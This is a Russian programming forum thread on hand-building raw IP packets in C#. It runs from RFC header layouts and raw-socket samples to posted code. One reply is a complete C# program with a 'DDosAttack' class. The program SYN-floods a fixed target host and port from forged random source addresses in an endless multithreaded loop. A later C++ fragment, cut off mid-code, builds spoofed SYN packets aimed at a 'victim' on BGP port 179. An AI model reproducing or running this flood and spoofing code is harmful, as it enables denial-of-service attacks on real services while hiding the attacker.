На главную Наши проекты:
Журнал   ·   Discuz!ML   ·   Wiki   ·   DRKB   ·   Помощь проекту
ПРАВИЛА FAQ Помощь Участники Календарь Избранное RSS
msm.ru
  
> Как собрать вручную IP пакет
    Кто нибудь может подсказать, как средставми C#.NET, собрать вручную IP пакет?
      А в чем проблема? Читаешь RFC, пишешь массив... Только вот зачем
        А можно по подробнее
          IP-пакет - это просто массив байт, состоящий из заголовка и содержимого. Порядок и значение полей в заголовке определяются RFC - ищи там нужный тебе документ и записывай свой пакет. Только дальше-то ты что с ним собираешься делать
            Блин, всё равно не понимаю
              Берешь, например, RFC 791. Читаешь про формат IP-пакета.
              Потом рисуешь что-то в таком духе:
              ExpandedWrap disabled
                Socket socket = new Socket(AddressFamily.InterNetwork,SocketType.Raw,ProtocolType.Raw);
                socket.SetSocketOption(SocketOptionLevel.IP,SocketOptionName.HeaderIncluded,1);
                try
                {
                    byte[] packet = new byte[...]{...формируешь свой пакет...};
                    socket.SendTo(packet,new IPEndPoint(адрес,порт));
                }
                finally
                {
                    socket.Close();
                }

              Ну а остальное уж сам додумывай, поскольку цель мне не ясна, значит и большего сказать не смогу.
              Сообщение отредактировано: Guderian -
                3. SPECIFICATION

                3.1. Internet Header Format

                A summary of the contents of the internet header follows:


                0 1 2 3
                0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
                +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
                |Version| IHL |Type of Service| Total Length |
                +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
                | Identification |Flags| Fragment Offset |
                +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
                | Time to Live | Protocol | Header Checksum |
                +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
                | Source Address |
                +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
                | Destination Address |
                +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
                | Options | Padding |
                +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                задача стоит изменить хедеры, вижу схему в RFC, но тока как это перекинуть в массив байтов????
                  Нужно сменить Destanation Address и Sources Address
                    Все равно за тебя никто пакет не сформирует, так что придется его делать целиком или в лоб
                    ExpandedWrap disabled
                      byte packet[] = new byte[...] {
                          версия << 4 + IHL, /*например, 0x45 для версии 4, описываемой указанным RFC и минимального размера заголовка*/
                          тип сервиса,
                          размер_пакета & 0xFF,
                          размер_пакета >> 8,
                          ...
                      }

                    А можно попробовать через BinaryWriter.
                    ExpandedWrap disabled
                      BinaryWriter writer = new BinaryWriter(new MemoryStream());
                      writer.Write(версия << 4 + IHL);
                      writer.Write(тип_сервиса);
                      writer.Write(размер_пакета);
                      ...
                      // ((MemoryStream)writer.BaseStream).GetBuffer() вернет итоговый byte[].
                      Это реализация на C++
                      Не мог бы кто нибудь, понимающий в C++ вот это в C#.NET перевести?
                      ExpandedWrap disabled
                        // IPv4 header
                        typedef struct ip_hdr
                        {
                            unsigned char  ip_verlen;        // 4-bit IPv4 version
                                                             // 4-bit header length (in
                                                             // 32-bit words)
                            unsigned char  ip_tos;           // IP type of service
                            unsigned short ip_totallength;   // Total length
                            unsigned short ip_id;            // Unique identifier
                            unsigned short ip_offset;        // Fragment offset field
                            unsigned char  ip_ttl;           // Time to live
                            unsigned char  ip_protocol;      // Protocol(TCP,UDP etc)
                            unsigned short ip_checksum;      // IP checksum
                            unsigned int   ip_srcaddr;       // Source address
                            unsigned int   ip_destaddr;      // Source address
                        } IPV4_HDR, *PIPV4_HDR, FAR * LPIPV4_HDR;
                         
                        // Define the UDP header
                        typedef struct udp_hdr
                        {
                            unsigned short src_portno;       // Source port no.
                            unsigned short dst_portno;       // Dest. port no.
                            unsigned short udp_length;       // Udp packet length
                            unsigned short udp_checksum;     // Udp checksum (optional)
                        } UDP_HDR, *PUDP_HDR;
                         
                        SOCKET    s;
                        char      buf[MAX_BUFFER], // large enough buffer
                                 *data=NULL;
                        IPV4_HDR *v4hdr=NULL;
                        UDP_HDR  *udphdr=NULL;
                        USHORT   sourceport=5000,
                                 Destport=5001;
                        int      payload=512,                   // size of UDP data
                                 optval;
                        SOCKADDR_STORAGE dest;
                         
                        // Initialize the IPv4 header
                        v4hdr = (IPV4_HDR *)buf;
                        v4hdr->ip_verlen = (4 << 4) │ (sizeof(IPV4_HDR) / sizeof(ULONG));
                        v4hdr->ip_tos    = 0;
                        v4hdr->ip_totallength = htons(sizeof(IPV4_HDR) + sizeof(UDP_HDR) +
                            payload);
                        v4hdr->ip_id     = 0;
                        v4hdr->ip_offset = 0;
                        v4hdr->ip_ttl    = 8;                   // Time-to-live is eight
                        v4hdr->ip_protocol = IPPROTO_UDP;
                        v4hdr->ip_checksum = 0;
                        v4hdr->ip_srcaddr  = inet_addr("1.2.3.4");
                        v4hdr->ip_destaddr = inet_addr("157.32.159.101");
                        // Calculate checksum for IPv4 header
                        //   The checksum() function computes the 16-bit one's
                        //   complement on the specified buffer. See the IPHDRINC
                        //   code sample on the companion CD for its implementation.
                        v4hdr->ip_checksum = checksum(v4hdr, sizeof(IPV4_HDR));
                         
                        // Initialize the UDP header
                        udphdr = (UDP_HDR *)&buf[sizeof(IPV4_HDR)];
                        udphdr->src_portno = htons(sourceport);
                        udphdr->dst_portno = htons(destport);
                        udphdr->udp_length = htons(sizeof(UDP_HDR) + payload);
                        udphdr->udp_checksum = 0;
                         
                        // Initialize the UDP payload to something
                        data = &buf[sizeof(IPV4_HDR) + sizeof(UDP_HDR)];
                        memset(data, '^', payload);
                         
                        // Calculate the IPv4 and UDP pseudo-header checksum - this routine
                        // extracts all the necessary fields from the headers and calculates
                        // the checksum over it. See the iphdrinc sample for the implementation
                        //    of Ipv4PseudoHeaderChecksum().
                        udphdr->udp_checksum = Ipv4PseudoHeaderChecksum(v4hdr, udphdr, data,
                                 sizeof(IPV4_HDR) + sizeof(UDP_HDR) + payload);
                         
                        // Create the raw UDP socket
                        s = socket(AF_INET, SOCK_RAW, IPPROTO_UDP);
                         
                        // Set the header include option
                        optval = 1;
                        setsockopt(s, IPPROTO_IP, IP_HDRINCL, (char *)&optval, sizeof(optval));
                         
                        // Send the data
                        ((SOCKADDR_IN *)&dest)->sin_family = AF_INET;
                        ((SOCKADDR_IN *)&dest)->sin_port   = htons(destport);
                        ((SOCKADDR_IN *)&dest)->sin_addr.s_addr = inet_addr("157.32.159.101");
                         
                        sendto(s, buf, sizeof(IPV4_HDR) + sizeof(UDP_HDR) + payload, 0,
                                 (SOCKADDR *)&dest, sizeof(dest));
                        Да легко пакеты собираются:

                        ExpandedWrap disabled
                          using System;
                          using System.Collections.Generic;
                          using System.ComponentModel;
                          using System.Data;
                          using System.Drawing;
                          using System.Text;
                          using System.Windows.Forms;
                          using System.Collections;
                          using System.Threading;
                          using System.Net;
                          using System.Net.Sockets;
                          using System.Runtime.InteropServices;
                           
                          namespace rawtest
                          {
                              public partial class Form1 : Form
                              {
                                  public Form1()
                                  {
                                      InitializeComponent();
                                  }
                           
                                  private void button1_Click(object sender, EventArgs e)
                                  {
                                      DDosAttack da = new DDosAttack();
                                      da.targetHost = "192.168.10.88";
                                      da.targetPort = Convert.ToUInt16("80");
                                      da.attackThread = Convert.ToInt32("1");
                                      da.run();
                                      jobScheduler.Add(da);
                                      da = null;
                                  }
                           
                           
                                  static ArrayList jobScheduler = new ArrayList();//JOB Scheduler
                           
                                  public class DDosAttack
                                  {
                                      public string targetHost = "";
                                      public ushort targetPort = 0;
                                      public int attackThread = 0;
                                      Thread[] thread = null;
                                      public string errMsg = "";
                                      public int state = 0;//0 1 2
                                      public void run()
                                      {
                                          thread = new Thread[attackThread];
                                          syn ddos = new syn(targetHost, targetPort);
                                          try
                                          {
                                              for (int i = 0; i < attackThread; i++)
                                              {
                                                  ddos.father = this;
                                                  thread[i] = new Thread(new ThreadStart(ddos.synFlood));
                                                  thread[i].Start();
                                              }
                                          }
                                          catch (Exception e)
                                          {
                                              errMsg = e.Message;
                                          }
                                      }
                                  }
                                  public struct ipHeader
                                  {
                                      public byte ip_verlen;
                                      public byte ip_tos;
                                      public ushort ip_totallength;
                                      public ushort ip_id;
                                      public ushort ip_offset;
                                      public byte ip_ttl;
                                      public byte ip_protocol; //(TCP, UDP, ICMP, Etc.)
                                      public ushort ip_checksum;
                                      public uint ip_srcaddr;
                                      public uint ip_destaddr;
                                  }
                                  public struct psdHeader
                                  {
                                      public uint saddr;
                                      public uint daddr;
                                      public byte mbz;
                                      public byte ptcl;
                                      public ushort tcpl;
                                  }
                                  public struct tcpHeader
                                  {
                                      public ushort th_sport;
                                      public ushort th_dport;
                                      public int th_seq;
                                      public uint th_ack;
                                      public byte th_lenres;
                                      public byte th_flag;
                                      public ushort th_win;
                                      public ushort th_sum;
                                      public ushort th_urp;
                                  }
                                  public class syn
                                  {
                                      private uint ip;
                                      private ushort port;
                                      private EndPoint ep;
                                      private Socket sock;
                                      private ipHeader iph;
                                      private psdHeader psh;
                                      private tcpHeader tch;
                                      public DDosAttack father;
                                      public Random rand;
                                      public UInt16 checksum(UInt16[] buffer, int size)
                                      {
                                          Int32 cksum = 0;
                                          int counter;
                                          counter = 0;
                           
                                          while (size > 0)
                                          {
                                              UInt16 val = buffer[counter];
                           
                                              cksum += Convert.ToInt32(buffer[counter]);
                                              counter += 1;
                                              size -= 1;
                                          }
                           
                                          cksum = (cksum >> 16) + (cksum & 0xffff);
                                          cksum += (cksum >> 16);
                                          return (UInt16)(~cksum);
                                      }
                                      //SYN
                                      public syn(string _ip, ushort _port)
                                      {
                                          IPHostEntry ih = Dns.GetHostByName(_ip);
                                          ip = Convert.ToUInt32(ih.AddressList[0].Address);
                                          IPEndPoint _ep = new IPEndPoint(ih.AddressList[0], _port);
                                          port = _port;
                                          ep = _ep;
                                          ipHeader iph = new ipHeader();
                                          psh = new psdHeader();
                                          tch = new tcpHeader();
                                          sock = new Socket(AddressFamily.InterNetwork, SocketType.Raw, ProtocolType.IP);
                                          sock.SetSocketOption(SocketOptionLevel.IP, SocketOptionName.HeaderIncluded, 1);
                                          rand = new Random();
                                      }
                                      public void synFlood()
                                      {
                                          //iph.ip_verlen = (byte)(4 << 4 | sizeof(ipHeader) / sizeof(uint));
                                          iph.ip_verlen = (byte)(4 << 4 | Marshal.SizeOf(iph) / Marshal.SizeOf(ip));
                                          iph.ip_tos = 0;
                                          iph.ip_totallength = 0x2800;
                                          iph.ip_id = 0x9B18;
                                          iph.ip_offset = 0x40;
                                          iph.ip_ttl = 64;
                                          iph.ip_protocol = 6;
                                          iph.ip_checksum = UInt16.Parse("0");
                                          iph.ip_destaddr = ip;
                                          psh.daddr = iph.ip_destaddr;
                                          psh.mbz = 0;
                                          psh.ptcl = 6;
                                          psh.tcpl = 0x1400;
                                          tch.th_dport = port;
                                          tch.th_ack = 0;
                                          //tch.th_lenres = (byte)((sizeof(tcpHeader) / 4 << 4 | 0));
                                          tch.th_lenres = (byte)((Marshal.SizeOf(iph) / 4 << 4 | 0));
                                          tch.th_flag = 2;
                                          tch.th_win = ushort.Parse("16614");
                                          tch.th_sum = UInt16.Parse("0");
                                          tch.th_urp = UInt16.Parse("0");
                                          while (true)
                                          {
                                              while (father.state == 1) { Thread.Sleep(5000); }
                                              if (father.state == 2) { break; }
                                              string srcAddress = rand.Next(1, 255) + "." + rand.Next(1, 255) + "." + rand.Next(1, 255) + "." + rand.Next(1, 255);
                                              iph.ip_srcaddr = Convert.ToUInt32(IPAddress.Parse(srcAddress).Address);
                                              psh.saddr = iph.ip_srcaddr;
                                              ushort sourcePort = Convert.ToUInt16(rand.Next(1, 65535));
                                              byte[] bt = BitConverter.GetBytes(sourcePort);
                                              Array.Reverse(bt);
                                              tch.th_sport = BitConverter.ToUInt16(bt, 0);
                                              tch.th_seq = IPAddress.HostToNetworkOrder((int)rand.Next(-2147483646, 2147483646));
                           
                                              iph.ip_checksum = 0;
                                              tch.th_sum = 0;
                                              //byte[] psh_buf = new byte[sizeof(psdHeader)];
                                              byte[] psh_buf = new byte[Marshal.SizeOf(psh)];
                                              Int32 index = 0;
                                              //index = pshto(psh, psh_buf, sizeof(psdHeader));
                                              index = pshto(psh, psh_buf, Marshal.SizeOf(psh));
                                              if (index == -1)
                                              {
                                                  father.errMsg = "ERR tcp";
                                                  return;
                                              }
                                              index = 0;
                                              //byte[] tch_buf = new byte[sizeof(tcpHeader)];
                                              byte[] tch_buf = new byte[Marshal.SizeOf(tch)];
                                              //index = tchto(tch, tch_buf, sizeof(tcpHeader));
                                              index = tchto(tch, tch_buf, Marshal.SizeOf(tch));
                                              if (index == -1)
                                              {
                                                  father.errMsg = "ERR tcp";
                                                  return;
                                              }
                                              index = 0;
                                              //byte[] tcphe = new byte[sizeof(psdHeader) + sizeof(tcpHeader)];
                                              byte[] tcphe = new byte[Marshal.SizeOf(psh) + Marshal.SizeOf(tch)];
                                              Array.Copy(psh_buf, 0, tcphe, index, psh_buf.Length);
                                              index += psh_buf.Length;
                                              Array.Copy(tch_buf, 0, tcphe, index, tch_buf.Length);
                                              index += tch_buf.Length;
                                              tch.th_sum = chec(tcphe, index);
                                              index = 0;
                                              //index = tchto(tch, tch_buf, sizeof(tcpHeader));
                                              index = tchto(tch, tch_buf, Marshal.SizeOf(tch));
                                              if (index == -1)
                                              {
                                                  father.errMsg = "ERR tcp";
                                                  return;
                                              }
                                              index = 0;
                                              //byte[] ip_buf = new byte[sizeof(ipHeader)];
                                              byte[] ip_buf = new byte[Marshal.SizeOf(iph)];
                                              //index = ipto(iph, ip_buf,sizeof(ipHeader));
                                              index = ipto(iph, ip_buf, Marshal.SizeOf(iph));
                                              if (index == -1)
                                              {
                                                  father.errMsg = "ERR ip";
                                                  return;
                                              }
                                              index = 0;
                                              //byte[] iptcp = new byte[sizeof(ipHeader) + sizeof(tcpHeader)];
                                              byte[] iptcp = new byte[Marshal.SizeOf(iph) + Marshal.SizeOf(tch)];
                                              Array.Copy(ip_buf, 0, iptcp, index, ip_buf.Length);
                                              index += ip_buf.Length;
                                              Array.Copy(tch_buf, 0, iptcp, index, tch_buf.Length);
                                              index += tch_buf.Length;
                                              iph.ip_checksum = chec(iptcp, index);
                                              index = 0;
                                              //index = ipto(iph, ip_buf, sizeof(tcpHeader));
                                              index = ipto(iph, ip_buf, Marshal.SizeOf(tch));
                                              if (index == -1)
                                              {
                                                  father.errMsg = "ERR ip";
                                                  return;
                                              }
                                              index = 0;
                                              Array.Copy(ip_buf, 0, iptcp, index, ip_buf.Length);
                                              index += ip_buf.Length;
                                              Array.Copy(tch_buf, 0, iptcp, index, tch_buf.Length);
                                              index += tch_buf.Length;
                                              //if (iptcp.Length != (sizeof(ipHeader) + sizeof(tcpHeader)))
                                              if (iptcp.Length != (Marshal.SizeOf(iph) + Marshal.SizeOf(tch)))
                                              {
                                                  father.errMsg = "ERR iptcp";
                                                  return;
                                              }
                                              try
                                              {
                                                  //socket.sendto
                                                  sock.SendTo(iptcp, ep);
                                              }
                                              catch
                                              {
                                                  father.errMsg = "ERR socket";
                                                  return;
                                              }
                                          }
                                      }
                           
                                      public UInt16 chec(byte[] buffer, int size)
                                      {
                                          Double double_length = Convert.ToDouble(size);
                                          Double dtemp = Math.Ceiling(double_length / 2);
                                          int cksum_buffer_length = Convert.ToInt32(dtemp);
                                          UInt16[] cksum_buffer = new UInt16[cksum_buffer_length];
                                          int icmp_header_buffer_index = 0;
                                          for (int i = 0; i < cksum_buffer_length; i++)
                                          {
                                              cksum_buffer[i] =
                                               BitConverter.ToUInt16(buffer, icmp_header_buffer_index);
                                              icmp_header_buffer_index += 2;
                                          }
                                          UInt16 u_cksum = checksum(cksum_buffer, cksum_buffer_length);
                                          return u_cksum;
                                      }
                                      public Int32 ipto(ipHeader iph, byte[] Buffer, int size)
                                      {
                                          Int32 rtn = 0;
                                          int index = 0;
                                          byte[] b_verlen = new byte[1];
                                          b_verlen[0] = iph.ip_verlen;
                                          byte[] b_tos = new byte[1];
                                          b_tos[0] = iph.ip_tos;
                                          byte[] b_totallen = BitConverter.GetBytes(iph.ip_totallength);
                                          byte[] b_id = BitConverter.GetBytes(iph.ip_id);
                                          byte[] b_offset = BitConverter.GetBytes(iph.ip_offset);
                                          byte[] b_ttl = new byte[1];
                                          b_ttl[0] = iph.ip_ttl;
                                          byte[] b_protol = new byte[1];
                                          b_protol[0] = iph.ip_protocol;
                                          byte[] b_checksum = BitConverter.GetBytes(iph.ip_checksum);
                                          byte[] b_srcaddr = BitConverter.GetBytes(iph.ip_srcaddr);
                                          byte[] b_destaddr = BitConverter.GetBytes(iph.ip_destaddr);
                                          Array.Copy(b_verlen, 0, Buffer, index, b_verlen.Length);
                                          index += b_verlen.Length;
                                          Array.Copy(b_tos, 0, Buffer, index, b_tos.Length);
                                          index += b_tos.Length;
                                          Array.Copy(b_totallen, 0, Buffer, index, b_totallen.Length);
                                          index += b_totallen.Length;
                                          Array.Copy(b_id, 0, Buffer, index, b_id.Length);
                                          index += b_id.Length;
                                          Array.Copy(b_offset, 0, Buffer, index, b_offset.Length);
                                          index += b_offset.Length;
                                          Array.Copy(b_ttl, 0, Buffer, index, b_ttl.Length);
                                          index += b_ttl.Length;
                                          Array.Copy(b_protol, 0, Buffer, index, b_protol.Length);
                                          index += b_protol.Length;
                                          Array.Copy(b_checksum, 0, Buffer, index, b_checksum.Length);
                                          index += b_checksum.Length;
                                          Array.Copy(b_srcaddr, 0, Buffer, index, b_srcaddr.Length);
                                          index += b_srcaddr.Length;
                                          Array.Copy(b_destaddr, 0, Buffer, index, b_destaddr.Length);
                                          index += b_destaddr.Length;
                                          if (index != size/* sizeof(IcmpPacket)  */)
                                          {
                                              rtn = -1;
                                              return rtn;
                                          }
                           
                                          rtn = index;
                                          return rtn;
                           
                                      }
                                      public Int32 pshto(psdHeader psh, byte[] buffer, int size)
                                      {
                                          Int32 rtn;
                                          int index = 0;
                                          byte[] b_psh_saddr = BitConverter.GetBytes(psh.saddr);
                                          byte[] b_psh_daddr = BitConverter.GetBytes(psh.daddr);
                                          byte[] b_psh_mbz = new byte[1];
                                          b_psh_mbz[0] = psh.mbz;
                                          byte[] b_psh_ptcl = new byte[1];
                                          b_psh_ptcl[0] = psh.ptcl;
                                          byte[] b_psh_tcpl = BitConverter.GetBytes(psh.tcpl);
                                          Array.Copy(b_psh_saddr, 0, buffer, index, b_psh_saddr.Length);
                                          index += b_psh_saddr.Length;
                                          Array.Copy(b_psh_daddr, 0, buffer, index, b_psh_daddr.Length);
                                          index += b_psh_daddr.Length;
                                          Array.Copy(b_psh_mbz, 0, buffer, index, b_psh_mbz.Length);
                                          index += b_psh_mbz.Length;
                                          Array.Copy(b_psh_ptcl, 0, buffer, index, b_psh_ptcl.Length);
                                          index += b_psh_ptcl.Length;
                                          Array.Copy(b_psh_tcpl, 0, buffer, index, b_psh_tcpl.Length);
                                          index += b_psh_tcpl.Length;
                                          if (index != size)
                                          {
                                              rtn = -1;
                                              return rtn;
                                          }
                                          else
                                          {
                                              rtn = index;
                                              return rtn;
                                          }
                           
                                      }
                                      public Int32 tchto(tcpHeader tch, byte[] buffer, int size)
                                      {
                                          Int32 rtn;
                                          int index = 0;
                                          byte[] b_tch_sport = BitConverter.GetBytes(tch.th_sport);
                                          byte[] b_tch_dport = BitConverter.GetBytes(tch.th_dport);
                                          byte[] b_tch_seq = BitConverter.GetBytes(tch.th_seq);
                                          byte[] b_tch_ack = BitConverter.GetBytes(tch.th_ack);
                                          byte[] b_tch_lenres = new byte[1];
                                          b_tch_lenres[0] = tch.th_lenres;
                                          byte[] b_tch_flag = new byte[1];
                                          b_tch_flag[0] = tch.th_flag;
                                          byte[] b_tch_win = BitConverter.GetBytes(tch.th_win);
                                          byte[] b_tch_sum = BitConverter.GetBytes(tch.th_sum);
                                          byte[] b_tch_urp = BitConverter.GetBytes(tch.th_urp);
                                          Array.Copy(b_tch_sport, 0, buffer, index, b_tch_sport.Length);
                                          index += b_tch_sport.Length;
                                          Array.Copy(b_tch_dport, 0, buffer, index, b_tch_dport.Length);
                                          index += b_tch_dport.Length;
                                          Array.Copy(b_tch_seq, 0, buffer, index, b_tch_seq.Length);
                                          index += b_tch_seq.Length;
                                          Array.Copy(b_tch_ack, 0, buffer, index, b_tch_ack.Length);
                                          index += b_tch_ack.Length;
                                          Array.Copy(b_tch_lenres, 0, buffer, index, b_tch_lenres.Length);
                                          index += b_tch_lenres.Length;
                                          Array.Copy(b_tch_flag, 0, buffer, index, b_tch_flag.Length);
                                          index += b_tch_flag.Length;
                                          Array.Copy(b_tch_win, 0, buffer, index, b_tch_win.Length);
                                          index += b_tch_win.Length;
                                          Array.Copy(b_tch_sum, 0, buffer, index, b_tch_sum.Length);
                                          index += b_tch_sum.Length;
                                          Array.Copy(b_tch_urp, 0, buffer, index, b_tch_urp.Length);
                                          index += b_tch_urp.Length;
                                          if (index != size)
                                          {
                                              rtn = -1;
                                              return rtn;
                                          }
                                          else
                                          {
                                              rtn = index;
                                              return rtn;
                                          }
                                      }
                                  }
                           
                              }
                           
                           
                           
                          }
                          Да.... не прошло и 4-х лет :(
                            Хочу добавить сигнатуру MD5 в SYN пакет, который собираю на CSharp:
                            ExpandedWrap disabled
                              using System;
                              using System.Net.NetworkInformation;
                              using System.Collections.Generic;
                              using SharpPcap;
                              using SharpPcap.Packets;
                               
                              /*
                              Copyright (c) 2006 Tamir Gal, http://www.tamirgal.com, All rights reserved.
                               
                              Redistribution and use in source and binary forms, with or without
                              modification, are permitted provided that the following conditions are met:
                               
                                  1. Redistributions of source code must retain the above copyright notice,
                                      this list of conditions and the following disclaimer.
                               
                                  2. Redistributions in binary form must reproduce the above copyright
                                      notice, this list of conditions and the following disclaimer in
                                      the documentation and/or other materials provided with the distribution.
                               
                                  3. The names of the authors may not be used to endorse or promote products
                                      derived from this software without specific prior written permission.
                               
                              THIS SOFTWARE IS PROVIDED ``AS IS'' AND ANY EXPRESSED OR IMPLIED WARRANTIES,
                              INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
                              FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR
                              OR ANY CONTRIBUTORS TO THIS SOFTWARE BE LIABLE FOR ANY DIRECT, INDIRECT,
                              INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
                              LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA,
                              OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
                              LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
                              NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE,
                              EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
                              */
                               
                              namespace Test
                              {
                                  /// <summary>
                                  /// A sample showing how to build a SYN packet.
                                  /// The program prompt the user for a Network Interface, builds a TCP SYN packet,
                                  /// injects it through the interface and print the SYN/ACK reply from the remote
                                  /// host.
                                  /// </summary>
                                  public class SendTcpSynExample
                                  {
                                      static int lLen = EthernetFields_Fields.ETH_HEADER_LEN;
                               
                                      /// <summary>
                                      /// The IP address of the remote host, please change to your desired IP address
                                      /// </summary>
                                      static System.Net.IPAddress destIP = System.Net.IPAddress.Parse("10.0.0.100");
                                      
                                      /// <summary>
                                      /// The MAC address of the next hop (e.g. gateway or a host on local LAN)
                                      /// </summary>      
                                      static string destMAC = "00:00:44:77:ac:01";
                               
                                      /// <summary>
                                      /// Destination port
                                      /// </summary>
                                      static int destPort = 80;
                               
                                      /// <summary>
                                      /// Arbitrary source port
                                      /// </summary>
                                      static int sourcePort = 2222;
                                      
                               
                                      public static void SendTcpSyn(PcapDevice dev)
                                      {
                                          byte[] bytes = new byte[54];
                               
                                          TCPPacket tcp = new TCPPacket(lLen, bytes, true);
                               
                                          //Ethernet fields
                              //          tcp.SourceHwAddress = dev.MacAddress;           //Set the source mac of the local device
                                          tcp.DestinationHwAddress = PhysicalAddress.Parse(destMAC);     //Set the dest MAC of the gateway
                                          tcp.EthernetProtocol = EthernetPacket.EtherType.IP;
                               
                                          //IP fields
                                          tcp.DestinationAddress = destIP;            //The IP of the destination host
                              //          tcp.SourceAddress = System.Net.IPAddress.Parse(dev.IpAddress);          //The IP of the local device
                                          tcp.IPProtocol = IPProtocol.IPProtocolType.TCP;
                                          tcp.TimeToLive = 20;
                                          tcp.ipv4.Id = 100;          
                                          tcp.IPVersion = IPPacket.IPVersions.IPv4;
                                          tcp.ipv4.IPTotalLength = bytes.Length-lLen;         //Set the correct IP length
                                          tcp.ipv4.IPHeaderLength = IPv4Fields_Fields.IP_HEADER_LEN;
                               
                                          //TCP fields
                                          tcp.SourcePort = sourcePort;                //The TCP source port
                                          tcp.DestinationPort = destPort;             //The TCP dest port
                                          tcp.Syn = true;                     //Set the SYN flag on
                                          tcp.WindowSize = 555;
                                          tcp.AcknowledgmentNumber = 1000;
                                          tcp.SequenceNumber = 1000;          
                                          tcp.TCPHeaderLength = TCPFields_Fields.TCP_HEADER_LEN;          //Set the correct TCP header length
                               
                                          //tcp.SetData( System.Text.Encoding.ASCII.GetBytes("HELLO") );
                               
                                          //Calculate checksums
                                          //TODO: need to implement the checksumming routines
                                          throw new System.NotImplementedException();
                              //          tcp.ComputeIPChecksum();
                              //          tcp.ComputeTCPChecksum();
                               
                                          dev.Open(true, 20);
                                          
                                          //Set a filter to capture only replies
                                          //FIXME: PcapDevice doesn't have an IpAddress. Not sure if the more permissive
                                          //       filter will work the same
                              //          dev.PcapSetFilter("ip src "+destIP+" and ip dst "+
                              //              dev.IpAddress+" and tcp src port "+destPort+" and tcp dst port "+sourcePort);
                                          dev.SetFilter("ip src "+destIP+
                                              " and tcp src port "+destPort+" and tcp dst port "+sourcePort);
                               
                                          //Send the packet
                                          Console.Write("Sending packet: "+tcp+"...");
                                          dev.SendPacket(tcp);
                                          Console.WriteLine("Packet sent.");
                               
                                          //Holds the reply
                                          Packet reply;
                                          //Wait till you get a reply
                                          while((reply=dev.GetNextPacket())==null);
                                          //print the reply
                                          Console.WriteLine("Reply received: "+reply);
                               
                                          dev.Close();
                                      }
                               
                                      public static void Main1(string[] args)
                                      {
                                          string ver = SharpPcap.Version.VersionString;
                                          /* Print SharpPcap version */
                                          Console.WriteLine("SharpPcap {0}, SendTcpSynExample.cs", ver);
                                          Console.WriteLine();
                               
                                          /* Retrieve the device list */
                                          List<PcapDevice> devices = Pcap.GetAllDevices();
                               
                                          /*If no device exists, print error */
                                          if(devices.Count<1)
                                          {
                                              Console.WriteLine("No device found on this machine");
                                              return;
                                          }
                                          
                                          Console.WriteLine("The following devices are available on this machine:");
                                          Console.WriteLine("----------------------------------------------------");
                                          Console.WriteLine();
                               
                                          int i=0;
                               
                                          /* Scan the list printing every entry */
                                          foreach(PcapDevice dev in devices)
                                          {
                                              /* Description */
                                              Console.WriteLine("{0}) {1}",i,dev.Description);
                                              i++;
                                          }
                               
                                          Console.WriteLine();
                                          Console.Write("-- Please choose a device for sending: ");
                                          i = int.Parse( Console.ReadLine() );
                               
                                          PcapDevice device = devices[i];
                               
                                          SendTcpSyn(device);
                                      }
                                  }
                              }


                            На С++ это выглядит примерно так
                            ExpandedWrap disabled
                              #include <stdlib.h>
                              #include <unistd.h>
                              #include <sys/socket.h>
                              #include <time.h>
                              #include <string.h>
                              #include <netdb.h>
                              #include <netinet/ip.h>
                              #include <netinet/tcp.h>
                               
                              #include "bgp.h"
                               
                              struct tcp_segment {
                                  struct tcphdr tcp;
                                  /* TCP options */
                                  u_char opt_type;
                                  u_char opt_len;
                                  u_char md5_digest[MD5_DIGEST_LENGTH];
                                  u_char eol;
                              };
                               
                              /*
                               * These vars. are initialized by online_init()
                               */
                              int sockfd;
                              struct sockaddr_in sockaddr;
                              struct { /* IP packet: IP header + TCP header + TCP options (no TCP data) */
                                  struct iphdr ip;
                                  struct tcp_segment tcp_segment;
                              } packet;
                               
                              void online_init(struct in_addr spoof, struct in_addr victim)
                              {
                                  if ( (sockfd = socket(PF_INET, SOCK_RAW, IPPROTO_RAW) ) == -1)
                                      error(1, "socket()");
                               
                                  srandom(time(NULL) );
                               
                                  sockaddr.sin_family = AF_INET;
                                  sockaddr.sin_port = htons(179);
                                  sockaddr.sin_addr = victim;
                               
                                  bzero(&packet, sizeof(packet) );
                               
                                  /* IP header */
                                  packet.ip.version = 4;
                                  packet.ip.ihl = 5;
                                  packet.ip.tos = 0;
                                  packet.ip.tot_len = htons(sizeof(packet) );
                                  packet.ip.id = 0;
                                  packet.ip.frag_off = 0;
                                  packet.ip.ttl = htons(32000 + rand()%116);
                                  packet.ip.protocol = IPPROTO_TCP;
                                  packet.ip.saddr = spoof.s_addr;
                                  packet.ip.daddr = victim.s_addr;
                               
                                  /* TCP header */
                                  packet.tcp_segment.tcp.source = htons(rand()%40000 + 1);
                                  packet.tcp_segment.tcp.dest = htons(179);
                                  packet.tcp_segment.tcp.seq = htons((rand()%40000000 + 1) >> 16);
                                  packet.tcp_segment.tcp.ack_seq = 0;
